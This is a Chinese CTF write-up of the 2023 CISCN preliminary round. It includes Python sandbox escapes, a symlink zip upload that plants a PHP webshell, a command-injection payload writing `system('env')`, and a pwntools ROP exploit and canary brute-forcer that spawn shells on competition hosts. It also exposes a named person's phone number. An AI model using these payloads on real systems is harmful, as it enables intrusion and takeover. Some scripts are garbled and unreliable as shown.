2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

admin 2023年7月12日13:55:092023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp已关闭评论73 views字数 8399阅读27分59秒阅读模式

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

引言

第十六届全国大学生信息安全竞赛

——创新实践能力赛

http://www.ciscn.cn/competition/securityCompetition?compet_id=38

时光荏苒,又是一年一度的国赛了!

这篇 writeup 是 xdlddw 战队的队友一起写的,非常感谢队友带喵喵进了分区赛!Orz

(转眼已经是第四年打国赛了捏,这回大概率是最后一年打国赛了

感兴趣的话,可以回顾一下往年写的一点 writeup (有的貌似懒得写了

CTF | 2022 CISCN 初赛 WriteUp

CTF | 2021 CISCN初赛 Misc WriteUp

CTF | 2020 CISCN 国赛总决赛 部分解题复现

CTF | 2020 CISCN初赛 Z3&LFSR WriteUp

Misc

签到卡

首先试图查看 __builtins__

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

发现也只能显示一行,试试看 open 能不能用:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

确实可以用,接下来猜测 flag 的位置,通常在 /flag,直接构造print(open('/flag').read()),输入打孔卡片得到结果:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

(作为一个和 IBM Mainframe 打了三年交道的学生,能用 80 列卡片跑 Python 的 IBM 360 还是头一次见。)

国粹

先观察图像的宽度,发现可以被 53 整除。用 opencv 切割图像,并将 a.pngk.png 中的麻将对应到整数:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

a.png 中的麻将分组,可以观察到每个 a 中的麻将对应的多个 k 中的麻将,且都不重复。考虑到 a 的顺序,疑似是 a 和 k 的二维图像,沿着 a 行扫描,且预估是二维码,故而画出对应的图像:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

得到 flag{202305012359}

部分脚本如下:

```
import cv2 as cv
import matplotlib.pyplot as plt
import numpy as np
import hashlib

H = 73
W = 53

majiang = cv.imread('题目.png')
print(majiang.shape)

l = [[], []]
for i in range(majiang.shape[0] // H):
for j in range(majiang.shape[1] // W):
x0, x1 = jW, (j+1)W
y0, y1 = iH, (i+1)H
l[i].append(majiang[y0:y1,x0:x1])

tokens = l[0]

def token2no(t):
for i, im in enumerate(tokens):
f = np.reshape(t == im, (-1))
if False in f:
continue
else:
return i
return None

a = []
a_img = cv.imread('a.png')

print(a_img.shape)
for j in range(a_img.shape[1] // W):
x0, x1 = jW, (j+1)W
y0, y1 = 0H, (0+1)H
a.append(a_img[y0:y1,x0:x1])
print(len(a))
a_token = []
for ai in a:
a_token.append(token2no(ai))

k = []
k_img = cv.imread('k.png')

print(k_img.shape)
for j in range(k_img.shape[1] // W):
x0, x1 = jW, (j+1)W
y0, y1 = 0H, (0+1)H
k.append(k_img[y0:y1,x0:x1])
print(len(k))
k_token = []
for ki in k:
k_token.append(token2no(ki))

qrcode = [[0 for i in range(44)] for j in range(44)]
for i,j in res:
qrcode[i][j] = 1
plt.imshow(qrcode)
```

被加密的生产流量

用 Wireshark 解包,发现工业上常用的 modbus 协议:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

只有 fc6 和 fc3 操作,查阅工业标准,发现:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

对于 fc3 操作,发现虽然返回的报文中的寄存器数量都是 5 ,但请求的报文中的寄存器数量都大的离谱:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

故而将这类包 dump 出来,编写脚本进行处理,将所有的寄存器数量导出,拼接起来:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

发现是 base32 编码,解码后即得到 flag{c1f_fi1g_1000}

(期间有一个小插曲,由于每个 UINT16 可能是大端序或者小端序,所以需要尝试两次)

部分脚本如下:

```
import json
d = None
with open('pkgs.json', 'r') as f:
d = json.load(f)
l = []
for p in d:
if "modbus.func_code" in p["_source"]["layers"]["modbus"]:
m = p["_source"]["layers"]["modbus"]
if len(m) == 3 and "modbus.word_cnt" in m and m["modbus.func_code"] == '3':
mword = int(m["modbus.word_cnt"])
lo = mword % 256
hi = mword // 256
l.append(hi)
l.append(lo)
l = bytes(l)

from base64 import b32decode
print(b32decode("MMYWMX3GNEYWOXZRGAYDA==="))
```

pyshell

用 nc 连接服务,发现很多常见的 Python 技巧都无法使用。多次尝试后发现,长度超过 7 的输入都会直接返回 nop,且赋值无法使用。但 eval 可以使用。

这里使用 Python REPL 的特性,下划线表示上一次求值的结果,使用逐个字符拼接的方式将 eval 所需的字符串拼接出来,代码如下:

```
def accustr(s):
print(f"'{s[0]}'")
for ch in s[1:]:
print(f"_+'{ch}'")

accustr('print(open("/flag").read())')
```

然后逐行执行,将 _ 调整为 eval 所需的字符串,随后执行:

eval(_)

恰好 7 个字符,即得到 flag。

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

Crypto

基于国密SM2算法的密钥密文分发

按照文档说明,使用 pypi 提供的 snowland-smx 和 sm4 进行操作,使用 postman 或 requests 库发送请求。

构造的解题脚本如下:

```
from pysmx.SM2 import generate_keypair, Decrypt
from sm4 import SM4Key
from base64 import b16decode, b16encode
import json
import requests

baseurl = "http://123.56.116.45:14847"

Gen A_PK, A_SK

len_para = 64
A_Public_Key, A_Private_Key = generate_keypair(len_para)
print(len(A_Public_Key), b16encode(A_Public_Key))
print(len(A_Private_Key), b16encode(A_Private_Key))

Login

payload = json.dumps({
"school": "同济大学",
"name": "姜文渊",
"phone": "18262803125"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", baseurl+"/api/login", headers=headers, data=payload)
uid = response.json()['data']['id']

Get B_PK, B_SK, C

payload = json.dumps({
"id": uid,
"publicKey": b16encode(A_Public_Key).decode()
})
response = requests.request("POST", baseurl+"/api/allkey", headers=headers, data=payload)
B_Public_Key = b16decode(response.json()['data']['publicKey'].upper())
B_Private_Key_encrypted = b16decode(response.json()['data']['privateKey'].upper())
C_encrypted = b16decode(response.json()['data']['randomString'].upper())

Decrypt C

C_decrypted = Decrypt(C_encrypted, A_Private_Key, 64)
print(len(C_decrypted), b16encode(C_decrypted))

Decrypt B_SK

sm4ckey = SM4Key(C_decrypted)
B_Private_Key = sm4ckey.decrypt(B_Private_Key_encrypted)
print(len(B_Private_Key), b16encode(B_Private_Key))

Get Quantum key

payload = json.dumps({
"id": uid
})
response = requests.request("POST", baseurl+"/api/quantum", headers=headers, data=payload)
D_encrpted = b16decode(response.json()['data']['quantumString'].upper())

Decrypt Quantum key

D_decrypted = Decrypt(D_encrpted, B_Private_Key, 64)
print(len(D_decrypted), b16encode(D_decrypted).decode().lower())

Check

payload = json.dumps({
"id": uid,
"quantumString": b16encode(D_decrypted).decode().lower()
})
response = requests.request("POST", baseurl+"/api/check", headers=headers, data=payload)

Get flag

payload = json.dumps({
"id": uid
})
response = requests.request("POST", baseurl+"/api/search", headers=headers, data=payload)
print(response.json()['data']['flag'])
```

结果如下:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

可信度量

题目上线后很快就有上百队做出来,故而考虑有显然的非预期解,首先尝试检查 shell 的环境变量无果,然后检查所有进程的环境变量,发现 flag 就在其中。

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

Sign_in_passwd

下发的文件中有两行,第一行疑似 base64 编码,第二行疑似 url 编码。

将第二行解码后得到长度恰好为 64 的 base64 码表,送入 cyberchef 中即得到 flag。

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

bb84

起初看到下发的内容以为非 Windows 平台没法做,但是按照文档思路,执行对应的步骤,即可以进行解密。

值得注意的是,本题中的误码率没有起到很大的作用。

解题脚本如下:

```
lines = []
with open('info.csv', 'r') as f:
l = f.readline()
while l:
lines.append(l.strip().split(','))
l = f.readline()

for l in lines:
print(l[0], len(l))

epc1 = [int(lines[0][i]) for i in range(1,len(lines[0]))]
apd1 = [int(lines[1][i]) for i in range(1,len(lines[1]))]
apd2 = [int(lines[2][i]) for i in range(1,len(lines[2]))]
apd3 = [int(lines[3][i]) for i in range(1,len(lines[3]))]
apd4 = [int(lines[4][i]) for i in range(1,len(lines[4]))]

measurement = [(epc1[i], apd1[i], apd2[i], apd3[i], apd4[i]) for i in range(len(epc1))]

def getpos(i):
d = {
(1,0,0,0):1,
(0,1,0,0):2,
(0,0,1,0):3,
(0,0,0,1):4,
}
return d[i]

def is_good_measure(m):
return sum(m[1:]) == 1

def is_good_base(m):
k = getpos(m[1:])
if (k in [1, 2]) and (m[0] in [1, 2]):
return True
if (k in [3, 4]) and (m[0] in [3, 4]):
return True
return False

def is_good(m):
return is_good_measure(m) and is_good_base(m)

rawkeyseq = []
for m in measurement:
if is_good(m):
rawkeyseq.append(1 if m[0] % 2 == 0 else 0)
print(len(rawkeyseq))

from base64 import b16encode, b16decode
C = b16decode("D9F7E0F73787BF6C17D1D851221452212E9C952D3CF76FE8B0C70F326C03F5574D88FDE2F67ADDBA6E52")
print(C)

A = 1709
B = 2003
X0 = 17
m = len(rawkeyseq)

def next_lcg(x, a, b, m):
return (a*x + b) % m

keybits = []
xc = X0
for _ in range(len(C)*8):
keybits.append(rawkeyseq[xc])
xc = next_lcg(xc, A, B, m)
print(len(keybits))

key = []
for i in range(len(keybits) // 8):
d = 0
for j in range(8):
d += keybits[i*8 + j] * (1<<(7-j))
key.append(d)
key = bytes(key)
print(len(key))
ans = []
for i in range(len(C)):
ans.append(key[i] ^ C[i])
ans = bytes(ans)
print(ans)
```

即可得到 flag{b3187851-16ee-4897-b9a4-0cf97fcf6863}

Web

unzip

利用软链接,构造对应的压缩包,实现 /tmp/hacker -> /var/www/html

ln -s /var/www/html hacker
zip -y hacker.zip hacker

上传 hacker.zip

在 hacker 目录下写入 shell.php,再次压缩

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

上传 hacker1.zip,此时木马已经写入了网站根目录

访问 hacker.php,实现 rce 读取 flag

dumpit

分析猜测 dump 语句是直接系统命令执行,考虑拼接 shell 命令

使用 -w 写入木马,-r 指定文件

?db=ctf --tables flag1 -w "<?php system('env') ?>" -r a.php&table_2_dump=

直接访问 a.php 拿 flag

正常来说要提权,但是环境锅了可以直接读环境变量

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

Pwn

烧烤摊

1、分析源程序,发现通过输入负数可以提升自身的金额

2、承包商铺之后可以在改名的地方可以实现栈溢出

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

可以使用 ret2syscall,利用 ROPgadgets 来找到相应的寄存器操作,利用 memcpy 在 data 段写入 '/bin/sh'

逻辑如下:买负数商品 -> 承包烧烤摊 -> 改名 -> ROP攻击

exp 如下:

```
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

io = process("./shaokao")

io = remote("123.56.251.120","42077")

delim = b'>'
io.sendlineafter(delim, b'1')

delim = b'\xe6\xb6\xaf\x0a'
io.sendlineafter(delim,b'1')

delim = '?'.encode()
io.sendlineafter(delim,b'-10000')

delim = b'>'
io.sendlineafter(delim,b'4')

delim = b'5'
io.sendlineafter(delim,b'5')

delim = b'\x8d\xef\xbc\x9a\x0a'

pop_rax_ret = 0x0458827
pop_rdi_ret = 0x040264f
pop_rsi_ret = 0x040a67e
pop_rdx_rbx_ret = 0x04a404b
bin_sh_addr = 0x04E60F0
syscall_addr = 0x0402404

payload = b'/bin/sh\x00' + b'a' * (0x20-0x8) + b'a' * 0x08 \
+ p64(pop_rax_ret) + p64(59) \
+ p64(pop_rdi_ret) + p64(bin_sh_addr) \
+ p64(pop_rsi_ret) + p64(0) \
+ p64(pop_rdx_rbx_ret) + p64(0) + p64(0) \
+ p64(syscall_addr)
io.sendlineafter(delim, payload)
io.interactive()
```

funcanary

def p():
#a = process('./funcanary')
a = remote('39.105.187.49', 13554)
payload = b''
for i in range(8):
for b in range(256):
a.sendafter(b'welcome\n', b'a' * 104 + payload + bytes([b]))
l = a.recvline()
if not b'stack' in l:
payload += bytes([b])
break
for i in range(16):
a.sendafter(b'welcome\n', b'a' * 104 + payload + b'a' * 8 + bytes([0x28, i * 16 + 2]))
a.interactive()

Rev

babyRE

查看 xml 文件,发现是 Berkeley Snap,拖入 Snap 中尝试运行。双击动画播放后的锁图标,可以看到对应的代码块:

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

分析后可以发现,加密方式是每个字符和前一个字符相 xor,

2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUp

单步执行,点击 secret 之后可以看到 secret 列表的内容,将 secret 手动输入到 Python 脚本中,并构建解题脚本如下:

secret = [
102, 10, 13, 6, 28, 74,
3, 1, 3, 7, 85, 0,
4, 75, 20, 92, 92, 8,
28, 25, 81, 83, 7, 28,
76, 88, 9, 0, 29, 73,
0, 86, 4, 87, 87, 82,
84, 85, 4, 85, 87, 30]
len(secret)
key = [0]
for i in range(len(secret)):
key.append(key[i] ^ secret[i])
print(bytes(key[1:]))

知识问答

全部在通过认真学习视频获得

2017年6月1日

每年至少一次

2018年

16个国家28次

NSA

酸狐狸

银河一号,1983

76

构建动态异构冗余架构

在数据上的完整性

小结

好卷啊!

今年知识问答的部分改了形式,不过整了个先看视频再答题,终于不是那种政策知识的答题环节了,也不需要整个队伍每个人都做了,改成了整个队伍解题赛里的题目,有人做出来就行了。也算个好事。

不过还是想吐槽一下 i春秋 的比赛题目有点谜语人(

初赛这周末喵喵出去上课和考试了,没能在线下和队友一起看题,还要非常感谢队友的努力,带喵喵进了分区赛 Orz!

华东南分区赛线下见喵~

(可惜又是可恶的 AWDP 坐牢赛制捏

转眼已经是第四年打国赛了捏,这回大概率是喵喵最后一年打国赛了 (终于可以跑路了

顺便,欢迎大师傅们到 喵喵的博客 逛逛喵~

(溜了溜了喵

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日13:55:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 CISCN 第十六届全国大学生信息安全竞赛 初赛 WriteUphttp://cn-sec.com/archives/1868887.html